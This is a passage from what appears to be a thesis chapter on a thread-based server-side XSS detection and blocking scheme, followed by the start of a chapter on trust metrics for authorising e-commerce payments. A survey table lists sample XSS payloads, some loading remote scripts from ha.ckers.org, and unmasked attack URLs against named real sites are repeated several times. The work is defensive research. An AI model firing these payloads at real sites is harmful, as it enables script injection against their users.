analyzer redirects the user to the corresponding web page requested. The following table 

describes the thread process output and the corresponding actions carried out by the 

thread controller process.  

 

When the black listed thread or white listed thread completes the process and send the 

status as ‘yes’ for vulnerability then the users actions are assessed to see whether any 

continuous hacking attempts are made. If number of attempts attempted by the hacker in 

a defined time exceeds a time limit set by the security administrator then depending upon 

the rule, the user’s credentials are transformed to next state as described below.  

 

Thread controller adopts a rule based approach when a malicious attempt is recognized 

by the system to stop the hacker by using various evading mechanisms to bypass the 
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security mechanisms implemented in the web application. The following section, 

intrusion detection engine explains the rule based approach.  

6.5.4 Intrusion Detection Engine 

Firewalls cannot detect the application layers’ attacks to block them. To block the 

intrusions or the hacking attempts in a web application, the malicious attempts need to be 

identified and discover the relationship among them to deploy effective blocking 

mechanisms. In our approach, the attempts are logged in a database. At any instance of 

time the state of the malicious attempt, in our approach is defined in terms of the number 

of hacking attempts made in a defined interval and based on the harm it causes to the 

system.  We propose three states for effective and efficient blocking mechanisms. The 

rule defined for state transition from one state to another is defined as follows:  

  

“If n attempts are made in m frequency, transit the state of user’s credentials from 

current state to the next state till the last state”. In our case it is from Notice to Warning 

or from Warning to Blocked and the states are described in Figure 18. 

 

   

Figure 18: State transitions of Intrusion Detection Engine. 

 

6.5.4.1 Notice 

 

 If the hacking attempts initiated by the hacker are very low in numbers, then the hacking 

attempts are put in this state.  

6.5.4.2 Warning 

 

This indicates that continuous attempts are being made based on the number of attempts 

and if it exceed a certain limitation set by the system administrator, then the user’s 

credentials are transitioned to this state. This state indicates that it is a warning to the 

system’s availability.  

Notice

  
Warning Block

ed 



    

 133 

6.5.4.3 Block 

 

This state indicates that the action is a threat to the system availability and hence needs 

high attention. There are two ways in which the user’s credentials can be put in this state.  

  If a dreadful malicious signature is found in the input, then the user’s 

credentials are placed in the ‘blocked state’ directly instead of transformation 

from notice to warning and from warning to block. For instance if 

getXMLHTTPObject() is found within a function of a request, then it is identified 

as a threat as it propagates the worm. Hence the user’s details are put under the 

‘blocked’ state directly and the corresponding blocking mechanisms are applied.  

  If the number of hacking attempts made by the hacker crosses the limit set by 

the security administrator, then the user’s credentials are transferred to this state to 

be handled by different action mechanisms as described below.  

 

The below section describes the blocking mechanisms proposed for the states described 

above:  

6.6 Blocking mechanisms  

The authors have come up with the following proposed blocking actions when the user’s 

credentials are either in notice or in warning or in blocked state. The essential blocking 

mechanism for warning or notice is to block the user’s access to web application for a 

defined period of time. There are four levels of blocking proposed, namely user level 

blocking, URL blocking, IP blocking and session blocking. The blocking levels are 

mapped with the states and the blocking mechanisms as described in the section.  

 

Table 20:  Blocking mechanisms for the defined states 

Blocking 

Level 

Blocking mechanisms Intrusion 

State 
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User level 

blocking 

 

 The User id is blocked for the defined 

period from accessing the web application.  

Warning 

  User id is blocked permanently due to the 

malicious attempts made.   

Block 

URL 

Blocking 

  Block the IP from accessing the particular 

page for a defined period of time.  

Warning 

 User id is blocked from accessing the 

particular web page for a defined period of 

time.  

Warning 

IP Blocking  Block all the requests from the IP for the 

defined period. 

Warning 

Session 

Blocking 

Clear the current session of the user and redirect 

to the error page. User id will not be blocked.  

Notice 

 

To reduce the input processing time, a scheduled job has been written in the database to 

run in a defined interval. This reads the time limit set by the administrator to block the ids 

for a defined period of time. The time of last hacking attempt made by the user and the 

time duration limit set by the administrator is added to compare with the current time to 

allow or deny the user to access web application. For example if 2 hours is the time limit 

set by the administrator to block the user from accessing the web application from the 

time of last hacking attempt.  

 

When scheduled job runs, it will add the 2 hours to the last hacking attempt made by the 

hacker and compare it with the current time. If the current time is greater than the last 

hacking attempt made plus the limitation set by the administrator then the entries are 
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removed from the table and moved to history. The user’s input will then be processed by 

the analyzer component and will be passed on either to the parser component or to the 

web application based on the special characters in the input.  The solution procedure is 

explained in Figure 19.   

 

 

 

Figure 19: Flow of input through the components  
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6.7 Implementation 

6.7.1 Technical details of implementation 

The proposed solution is implemented using JSP/Servlets in JBoss open source server. 

The solution is tested in around 2200 vulnerable inputs found in various research sites, 

white hat hackers and black hat hackers’ site.  100 variants of XSS attacks are found 

during the process of testing.   

6.7.1.1 Server Configuration 

 

The following entries are made in struts framework’s web.xml file to redirect the HTTP 

requests to the class, analyzer. Analyzer is the class in which the special characters 

diagnosis is implemented. The configuration is as follows:  

<filter> 

    <filter-name>struts-Analyzer</filter-name> 

<filter-class>org.apache.struts2.dispatcher.Analyzer 

</filter-class> 

</filter> 

<filter-mapping> 

    <filter-name>struts- Analyzer </filter-name> 

    <url-pattern>*.do</url-pattern> 

</filter-mapping> 

 

6.7.1.2 Regular expression pattern 

 

The following is the snippet of code used in analyzer to diagnose the input for special 

characters:  

public static final String REGEX = “(<[a-zA-Z][^<>]*>)|( <>]*>)”; 

private static final Pattern HTML_PATTERN = Pattern.compile(REGEX); 
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As could be seen in the above snippet, regular expression is used for diagnosis of special 

characters and if special characters are found, it is passed on to the parser. For 

implementation purposes, the StringTokenizer class in Java is used in the parser class, 

which is described in section 6.5.2. Parser class calls the thread controller class in a loop, 

as there could be other nested tags within the input. The following is an example for the 

nested input:  

<scr<b><untainted input>ipt> 

 

For every opening special character ‘<’, the corresponding closing special character is 

considered as end of the tag. Tags and its respective attributes are stored in a vector 

object by the parser. In our example, though the first special character ‘<’ exists for scr 

tag, it is followed by the same special character for the tag <b> and hence the tag, <scr 

will not be considered in the first iteration. The vector object is sent to the thread 

controller class to check the vulnerability and removed from the input for further 

processing. The tags that are sent in the first iteration are given below:  

<b> 

<untainted input> 

In the next iteration, the input to the thread controller class is <script>. The <Script> tag 

is identified as a vulnerable tag in black listed XML. Hence, the black listed thread stops 

processing, and returns ‘yes’ for vulnerability. Then white listed thread is interrupted by 

the thread controller to stop processing the input further. This status is returned to the 

analyzer where the user is redirected to the error page.  

 

When the parser calls the thread controller class, the thread controller class uses the 

following pseudo code to initiate the threads and passes the vector object as input to the 

threads for processing. All the thread classes extends Runnable interface in Java.  

 

WhiteListedThread whiteListedThread= new WhiteListedThread(input); 

BlackListedThread blackListedThread= new BlackListedThread(input); 
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The above threads uses the following structure of XML described in table 21: 

Table 21: Sample Structure of the Tag Clusters 

White listed cluster XML Structure Black listed cluster XML Structure 

<WhiteList> 

<TagCluster> 

  <Tag> 

 <TagName>someTag</TagName> 

 <attributeName>attributeName</attributeN

ame> 

   <attributeName>attributeName 

</attributeName> 

  

<ClassName>someClassName</ClassName> 

  </Tag> 

  <Tag> 

 <TagName>someTag</TagName> 

 <attributeName>

 attributeName</attributeName>    

<ClassName>someClassName</ClassName> 

  </Tag> 

</TagCluster> 

</WhiteList> 

< BlackListedTag >  

<TagOrEvent>Tag 

name</TagOrEvent> 

   <attribute> Attribute 

     <value>Data type</value> 

   </attribute> 

</BlackListedTag >    

 

 

The excerpts of black listed XML, white listed XML and malleable XML is given in 

Table 22 with the description.  
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Table 22: Excerpt of black listed XML tags 

 HTML    

Tag 

  Description 

<script>  Adds a script that is to be used in the document. 

<object> Places an object (such as an applet, media file, etc.) on a document.  

<applet>  Used to place a Java applet on a document.  

<img>   Tag used to point to an image. 

  

 

Table 23: Excerpt of white listed XML tags 

 HTML 

Tag 

 Description 

<ol>  The <ol> tag defines the start of an ordered list. 

<ul> The <ul> tag defines an unordered list. 

<li>  The <li> tag defines the start of a list item.  

 

The constructor in each of the thread class calls the run method that executes the defined 

functionality described in the tag clusters section 6.5.3.1. The following pseudo code has 

been implemented for interrupting the threads in the thread controller:  

 

If (!whiteListedThreadStatus.equals(null) || (!blackListedThreadStatus.equals(null) then, 

If blackListedThreadStatus.equals(“true”) (indication of vulnerable input) 

 whiteListedThread.t.interrupt(); 

Like wise the input sanctity has been checked by the threads and the other thread is 

interrupted if found vulnerable.  
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6.8 Evaluation of the approach 

We have adopted two approaches to test our solution. First, the solution is applied on a 

banking web application and tested for its performance with and without the thread based 

approach.  

 

The non thread based approach is sequential, i.e. first the input is checked for 

vulnerability with the white listed tags, followed by black listed tags and finally 

malleable tags are checked which is similar to the earlier research solutions.  

 

The proposed solution has been tested with 6000 malicious inputs and 5000 non 

vulnerable. The average time has been taken for 10 cycles of execution of each approach 

and the results are presented in table 24. The average time is taken because there are 

minor variations found in the time of completion of each run as thread execution depends 

on the operating system, and the other processes that run in the machine during the 

process of testing.  

6.8.1 Performance details 

The performance has been observed by logging the time of the thread controller process 

before it initiates the threads for processing and after the status is received from the 

threads. The approach is tested in a Pentium 4, 512 MB RAM and 1.69GHz.machine.  

Though the vulnerable inputs collected are around 2200, the authors increased the data by 

deriving the combinations of vulnerability for the remaining 4000 vulnerable inputs to 

test the performance speed of the proposed approach. The approach is also tested by a 

random generator program that picks the vulnerable and non vulnerable inputs from a file 

of about 6000 inputs for an average of 10 runs and the results are presented in Table 24. 
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Table 24:  Test results 

 Vulnerable input 

processing time in 

milliseconds to 

process 6000 

vulnerable inputs 

Non vulnerable input 

processing time in 

milliseconds to 

process 6000 inputs 

with white listed tags 

Random generator 

program test for 

6000 inputs, 

represented in 

milliseconds. 

Thread based 

approach after 

applying the 

security 

mechanisms 

2500 1400 1890 

Without the 

security 

mechanisms 

2000 1000 1500 

 

As can be observed, to process a single request, the thread based approach takes on an 

average of .07 milliseconds which is higher than the original web application input 

processing without the security mechanisms in place. This is due to the security 

mechanisms implementation on the web application, but the percentage of increase in 

processing is very low.  

 

Around 2500 lines of code have been developed to prove this server side solution 

effectiveness. It has been tested on a live banking application and the results are verified.    

 

The authors have done an extensive research and have collected around 2200 vulnerable 

web sites where the proof of script code has been given by the hackers for the 

vulnerability of those sites.  Observation of percentage of vulnerable tags occurrence in 

the input of those sites is presented in table 25 . 
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The script based attacks are 65.8% followed by the event based attacks which is 15.8%. 

Based on this the vulnerable tags in black listed XML are sorted in the same order of tag 

occurrence, to reduce the processing time and to find out the vulnerability in few 

iterations.  

Table 25:Categorized survey results 

 

XSS Attack Example Percentage 

Script tag based 

Attacks 

http://www.sample.com/web/res_text?q=%22%3E<sc

ript>alert(‘XSS’) <\script> 

65.8% 

Script Event 

based attacks 

http:// www.sample.com 

/browse/<BODY%20onload=alert(%22XSS%22)%3E 

15.3% 

Frame tag based http:// www.sample.com 

/search/index.php?as=1&st=1&rf=1&rq=0&col=mw

mcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&a

mo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=<

iframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscr

iptlet.html+<&nh=10&Search=Search+Again 

10.5% 

Style tag based http:// www.sample.com 

/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+s

tyle%3D-moz-

binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2

Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn

=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid

=fa120e683b24470a9976bd14e5936ce9-212245906-

8.4% 

http://one.revver.com/browse/%3cBODY%20onload=alert(%22XSS%22)%3E
http://one.revver.com/browse/%3cBODY%20onload=alert(%22XSS%22)%3E
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.macworld.com/search/index.php?as=1&st=1&rf=1&rq=0&col=mwmcc&oqsecrets=url%3Asecrets+&dt=ba&ady=21&amo=9&ayr=2005&bdy=21&bmo=9&byr=2006&qt=%3ciframe+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fscriptlet.html+%3c&nh=10&Search=Search+Again
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
http://www.careerbuilder.com/JobSeeker/Jobs/JobResults.aspx?S%3Asbkw=%22+style%3D-moz-binding%3Aurl%28http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%29+&S%3Asbcn=&S%3Asbsn=ALL&S%3Asbfr=30&S%3Asbsbmt=Search&cbsid=fa120e683b24470a9976bd14e5936ce9-212245906-WF-2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3DA3849780031904%3Bst%3DA%3Buse%3DALL%3BrawWords%3D
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WF-

2&cid=US&lr=cbscmag&IPath=ILK&excrit=QID%3

DA3849780031904%3Bst%3DA%3Buse%3DALL%

3BrawWords%3D 

Note: Script tag based attack covers encoded form of Script tag attack also. The sites 

listed above are masked to not to reveal the identity of the original sites. 

6.9 Comparative study with the existing solutions 

As of now there are six solutions available to prevent XSS vulnerabilities. The 

comparative study with the products mentioned here has already been published by the 

author Edward Z. Yang who had developed the solution, HTML Purifier. The authors of 

this chapter has presented five other parameters for the comparative study and compared 

the existing solutions with respect to those five parameters and presented the observations 

in Table 26. 

 

Table 26: Comparative study results with the other projects 

Product 

Name 

Is the solution 

flexible to 

configure 

White Listed 

Tags? 

XSS 

Safe? 

Needs changes 

in the web 

application to 

incorporate the 

solution? 

Optimized 

for 

performance? 

XSS 

intrusion 

Detection 

and 

Prevention? 

striptags Yes (user) No Yes No No 

PHP Input 

Filter 
Yes (user) Probably 

Yes No No 

HTML_Safe Mostly No Probably Yes No No 

Kses Yes (user) Probably Yes No No 

Safe HTML Yes (bare) Yes Yes No No 
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Checker 

HTML 

Purifier 
Yes Yes 

Yes No No 

Thread 

based XSS 

prevention 

Yes Yes No Yes Yes 

 

All the products are already compared with HTML Purifier product and the results are 

posted in HTML Purifier web application [206].  

 

The limitation of HTML Purifier solution is that, all the web pages need to be modified to 

incorporate the solution in the existing web pages, wherein the thread based approach is 

implemented on top of the application and does not require modification in the existing 

web pages. It is stated in the HTML Purifier to do list, that XSS attempt detection is not 

implemented yet [207]. When the authors tested the live demo page of HTML Purifier, it 

took 2 seconds for processing a simple request <Script>alert (‘XSS’) </Script>. It has 

been reported to Edward Z. Yang, and he accepted the performance issues. Edward 

mentioned that in 512 RAM, 2.19GHZ machine, his approach takes one second to 

process a request.  

6.10 Conclusion 

The web applications are facing severe threats due to the introduction of new 

technologies like AJAX. Available methods do not provide required solution for 

protecting the web applications. The proposed server side solution approach meets in the 

needs to protect the web applications with the perspective to improve the response time 

while addressing the XSS attacks. The proposed method was applied on a banking 

application. The results are highly encouraging and the proposed solution approach was 

found to be very effective for securing the web pages from XSS attacks. The thread based 

intrusion detection and prevention approach has the following advantages:  
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1. The research work combines the positive security model and negative security 

model to reduce the processing time. This is a very essential feature because 

AJAX calls are more frequent to traditional web applications calls.  

2. This approach protects the application from zero-day attacks.  

3. The solution provided is highly configurable unlike other solutions provided. 

White listed and black listed clusters are configurable which are defined in 

section 6.5.3.1.  

4.  Application maintainability is increased as all the functions are modularized. 

This increases the ease of use and maintainability.   

5. The solution is completely decoupled from page level implementation.   

6. Addresses basic encoded attacks. 

 

The solution approach developed is published in the Proceedings of 8th ACIS 

International Conference on Software Engineering, Artificial Intelligence, Networking, 

and Parallel/Distributed Computing (SNPD 2007), Published by IEEE Computer 

Society in IEEE Xplore [243].  

. 
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Chapter 7    
 

Improved trust metrics and variance based authorization 

model in e-Commerce to prevent fake transactions 

 

7.1 Introduction 

The problem of Authentication and Authorization is studied with an aim to trust the 

customer’s transactions and to authorize the payment. Considering the limitation of the 

available methods and procedures, an improved trust metrics and variance based 

authorization model in e-commerce is proposed. The solutions proposed assess the 

deviation of the customers’ transactions to calculate the Standard Deviation and employs 

normal distribution to assess the transaction to authorize. The model was applied on the 

customers’ transactions and the results were studied that are promising to employ in e-

commerce systems.  

 

The rapid proliferation of the Internet and the cost effective growth of its key enabling 

technologies are revolutionizing online electronic transactions and creating unpredicted 

opportunities for developing large scale distributed applications like e-commerce with 

multiple technologies [208-210]. But these transactions are not with out problems. 

 

When an e-commerce transaction is initiated by a customer, there are no ways by which 

the financial institution can decide whether this transaction is originated from a genuine 

card holder or by a hacker. Research data show many of the credit card information are 

stolen not in the internal network of e-commerce systems when the transaction is 

processed for payment but in the vendor databases [211-216].  
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7.2 Payment acceptance and processing 

Payment card transactions in the e-commerce systems go through the following steps of 

action once the merchant receives a consumer’s payment card information through SSL 

protected page.  

 

The merchant/e-commerce systems must authenticate the payment card to ensure that it is 

both valid and not stolen. The process of identifying an individual or entity, usually 

implemented through the use of user ID or username and password in addition to that the 

user may be asked to give a Pin as an additional security. 

 

The merchant/e-commerce systems should check with the consumer’s payment card 

issuer to ensure that funds are available and put a hold on the funds needed to satisfy the 

current charge.  

 

Often, within a few days following the consumer’s request for purchase, settlement 

occurs, this means that funds travel through the e-commerce system into the merchant’s 

account after the purchase has been shipped.  

 

As millions of customers participate in e-commerce, a very large number of transactions 

take place with varied quantity and value, and hence quantifying the risk becomes more 

tedious [217-219]. 

 

The risks involved within a transaction include the following: 

 Recognition - Authentication of the customer  

 Authorization – Ability to create a legitimate legal relationship for a customer. 

 Signing and acceptance by the customer and e-commerce systems. 

 Irrevocable evidence that the transactions and conditions were accepted by all parties. 

 Privacy.  

 Transaction auditing as the transaction proceeds [220-221]. 
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Researches in the past have addressed this issue and proposed a few models for solving 

these problems [222-224]. Cai-Nicolas Ziegler and Georg Lausend proposed to construct 

a sequence of networks of small trust groups. In this system each group trusts the other 

and hence helps to filter the hack attempts. However, this is very subjective and trust 

cannot be quantified using this approach.    

 

The Authorization based on Evidence and trust model suggested by Bharat Bhargava and 

Yuhui Zhong, proposes a framework to characterize the probability that a user will not 

carry out harmful actions. This is based on the evidence provided by the external systems 

like the certificate issuer or the user’s credentials etc. The impact of user’s misbehavior 

on the system is quantified. Mistrust events are discovered by intrusion detection systems 

based on which the opinion parameters are formed.  Opinion parameters are used to 

authorize the user to execute the actions.  However a hacker who steals the credentials of 

a credit card holder can enter into the system using the opinion parameters as a genuine 

user. Thus, this model doesn’t cover the application level hacking and doesn’t prevent the 

hacking by using opinion parameters [223]. 

 

The Authenticate if trust violated (ATV) model [224] proposed by Daniel W.Manchals 

used the randomization techniques and trust metrics to verify the transactions. 

Randomization techniques would fail, if many of the credit cards are hacked at one 

instance. Another disadvantage of this model is that if the boundary of the formation of 

the trust metrics are knoWm, then all the transactions can escape from verification. Thus 

this model does not prevent the occurrence of harm to the system. 

 

In the literature, trust parameters are defined as “the willingness of a party to be 

vulnerable to the actions of another party based on the expectation that the other will 

perform a particular action important to the trustier, irrespective of the agility to monitor 

or control other party [208]. Thus electronic commerce lacks security and reliability 

arising from the issues of a “complete trustworthy relationship” among the trading 
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partners and vendors [209][225 – 227]. 

 

The solution developed is a new approach with improved trust metrics for recognition 

and authorization process in e-commerce, which provides solution to the problems 

unaddressed in the earlier works. This chapter presents a proposed model and an 

application procedure for implementation. Results of certain case studies applying the 

proposed model are also presented.  

7.3 Improved trust metrics  

Trust Metrics are represented by a 2-tuple with two elementary names id and attributes 

where id is the identifier of the customer and attributes are the trust parameters. i.e. (Id, 

Attrs).  Possible attributes for a trusted model is represented as a1, a2, a3… etc. For each 

attribute three possible linguistic values are assigned as a [1,2,3….n] = {Min, Max, 

Mod}.  

 

The earlier works had defined only three trust metrics namely Cost, Frequency of 

transactions, and Location. The proposed model includes a new trust metric Password 

reset history defined by the authors in addition to the earlier work and proposed a new 

approach for the usage of these parameters. 

The following trust parameters are defined as attributes for considerations in the process 

of authorization.  

7.3.1 Cost 

Cost is considered as one of the main trust parameters in the proposed solution procedure. 

The amount transacted in each transaction, the mean and the standard deviation of the 

transaction over a selected period of time form the basis for the authentication procedure 

suggested.  
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7.3.2 Location 

This parameter is not used to track the intermediaries as defined in the Daniel Manchal’s 

work. Instead this parameter represents the transaction from where it is requested. The 

possible locations of a customer can be collected from the customer either during the 

registration process or by tracking the transactions over a period time to restrict the bogus 

transactions. When the customer makes an online transaction, the IP can be tracked to 

verify the location of the transaction. If the location is too far away from the location of 

the immediate last transaction not justifying the time interval of the travel then the 

transactions are considered as initiated by a hacker. The distances of each transaction 

from the base station of the customer, its mean, variance and standard deviation for the 

basis for the proposed method.  

7.3.3 Frequency of Transactions 

 Frequency of Transactions is another important trust metric in the process suggested. 

The frequency of transactions per day over a selected period of time, the daily mean and 

the standard deviation of the frequency of transactions forms the basis for assessing the 

risk factor in the proposed solution procedure.  

7.3.4 Password reset history  

Normally if customers are prompted to set a new password after a certain period of time 

then the customers would reset the password. When the threat is more, the customer is 

advised to reset the password in a defined interval. Thus the behavioral pattern of the 

password reset history when considered, as a separate metric would add value to assess 

the risk factor.  

 

The trust attributes are classified as direct attributes and slack attributes. Direct attributes 

are those whose weights are directly associated with the variation. Slack attributes are 

those whose weights depend on the number of transactions. These are tracked over a 

period of time and the weights are assessed only after a period when it crosses the slab 
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value. Hence, as per the above definition provided, the transactions per day, password 

reset time period are slack variables and cost and location are direct attributes as the 

variation can be assessed per transaction.   

 

For effective and efficient implementation of the trust metric model, a term called Risk 

Factor or Control limit is defined. The Risk factor describes the degree to which the 

transaction can be trusted. It also defines the maximum tolerance limit determined by the 

standard deviation of the trust parameters.  

7.4 Proposed Application Procedure 

By making use of the trust parameters defined above, authentication of a particular 

transaction can be processed using the method proposed below:  

 

In practice one often assumes that data are from an approximately normally distributed 

population. Furthermore, the normal distribution is a useful approximation of more 

complicated distributions [228]. The random variable X is defined as a function whose 

values are real numbers, and in our case these are transactions with attributes of defined 

trust metrics. If we perform a random experiment and the event corresponding to a 

number a occurs, then we say that in this trial the random variable X=a. The 

corresponding probability is denoted by  

P(X=a) 

X assumes any value in an interval a<X<b is denoted by P (a<X<b).  The following 

equations show how X will be distributed.  

(a)  About 2/3 values will lie between µ-SD and µ+SD 

(b) About 95% of the values will lie between µ-2SD and µ+2SD 

(c) About 99% of the values will lie between µ-3SD and µ+3SD [19].  

 

This is knoWm as 68-95-97 rule. Based on this rule it is suggested that 68% of the 

transactions need not be verified as it lies with in a standard deviation of 1.0 and the 
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remaining transactions which deviates from more than one standard deviation from the 

mean need to be verified as the transaction varies beyond the acceptable deviation of 

µ+SD [229-233] 

Under this assumption a state of a customer at any instance of time is represented as  

a1:v1, a2:v2, ….. an:vn   where  a1, a2, a3… an are the attributes and  

v1, v2, v3…. are the corresponding values.  

 

As defined earlier, the risk factor is a function of the trust metrics. The value of the Risk 

Factor is determined using the formula defined below:  

 

f [a1(NoRisk, Min, Mod, Max)+ a2(NoRisk, Min, Mod, Max)+….. + an (NoRisk, Min, 

Mod, Max)]  [0,1]. 

 

Where Min, Mod, Max represents the Minimum, Moderate and Maximum value of each 

of n trust metrics. In this case n=4. The Risk Factor ‘f’ results in either 0 or 1. The factor 

‘f’ will be assigned a value of 0 when all the trust metrics are assigned ‘No Risk’ state. 

(i.e. when the trust metric value is lesser than µ+SD where SD stands for Standard 

Deviation). The value one is assigned when any one of the trust metric is assigned a value 

Min, Mod or Max.  The risk factor value ‘0’ means that the transaction is in the trusted 

state and hence the transaction will automatically be permitted. The value ‘1’ indicates 

that the transaction is in mistrusted state and hence further verification of the transaction 

is recommended and the decision is guided by an operable construction matrix described 

later in this chapter.  

7.5 Determination of the parametric values of the trust metrics 

The data in respect of the four trust metrics were collected for five customers holding 

credit cards of ICICI, HSBC and CITI Bank, for a period of one and a half years. The 

mean, standard deviation and the variance of the four metrics of the data collected are 

determined. Based on the estimated deviation the Min, Mod or Max values are assigned 
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to each trust metrics as discussed below: 

Let the current value of a trust metrics except Password Reset History be denoted by Xi. 

The level of risk of the transaction Xi is assessed by checking how much it varies beyond 

the standard deviation SD as defined below:  

 

In the case of a trust metrics other than Password reset history a risk factor of Min is 

assigned to the transaction if Xi>(µ+SD) and Mod is assigned to the transaction if 

(µ+3SD)>Xi>(µ+2SD), where µ is the mean value. Any transaction Xi is assigned a Max 

risk factor when Xi >(µ+3SD). We take until 3 SD because the confidence interval for 

3SD is 99.7.  

 

For Password reset history parameter, the risk factor is assigned based on the pattern of 

password reset history by the customer over a period of time.  The password reset 

frequency is periodic then “no risk” is attributed. If the password reset history is a 

periodic and frequent then higher levels of risks are assigned.  

7.6 Implementation Strategy 

The authorization is given based on the risk factor. As discussed above, if the values of 

all the trust metrics are 0, then no risk factor is assigned to it and the transaction will 

automatically be authorized. If not, depending up on Min, Mod, Max values of the trust 

metrics, the transaction will further be verified and authorized manually. The following 

states are considered for processing a transaction.  

 

When the transaction has a combination of values of Min, Mod and Max the transaction 

is subjected to authorization at different levels of authorities as proposed in Table 27. If 

the transaction has Max values for all the metrics then the transaction may be rejected.  

7.7 Authorization Process Flow 

The functional flow of the proposed method for authentication and authorization is 
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detailed in the functional flow diagram as given in Figure 20. The states are detailed 

below: 

7.7.1 Initial 

The state of a payment is initial when it is initiated by the customer or vendor. 

7.7.2 Assessed 

 When the transaction is assessed for its goodness through the proposed improved model 

then the transaction is assigned to this state.  

7.7.3 Authorize 

 If the transaction needs multiple levels of authorization and is being verified by the 

authorizer, then the state of the transaction would turn into Authorize and make it eligible 

for further authorization. This means the transaction is partially authorized, and should be 

verified in the next level.  

7.7.4 Stop 

 If a transaction is found initiated by an impersonator or for any other reason the 

transaction can be stopped from further processing. 

7.7.5 Reject 

If the transaction is not genuine and is stopped already it can be rejected by the 

authorizer. 

7.7.6 Complete 

If the transaction is found unfeigned, then the transaction can be authorized for its 

completeness. 
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Figure 20: Functional flow diagram of the transaction states 

7.8 Operable Access matrix construction 

Possible authorization matrix for the different trust metrics can be constructed for 

authorization as depicted in Table 27. The authorization levels can be classified based on 

the profile of the authorizers. The authors have defined three layers for authorization of 

transactions.  

7.8.1 Primary Layer  

This profile is to authorize the transactions for the trust metrics with the combination of 

values Min or Mod, but Min being assigned for maximum number of trust metrics. In our 

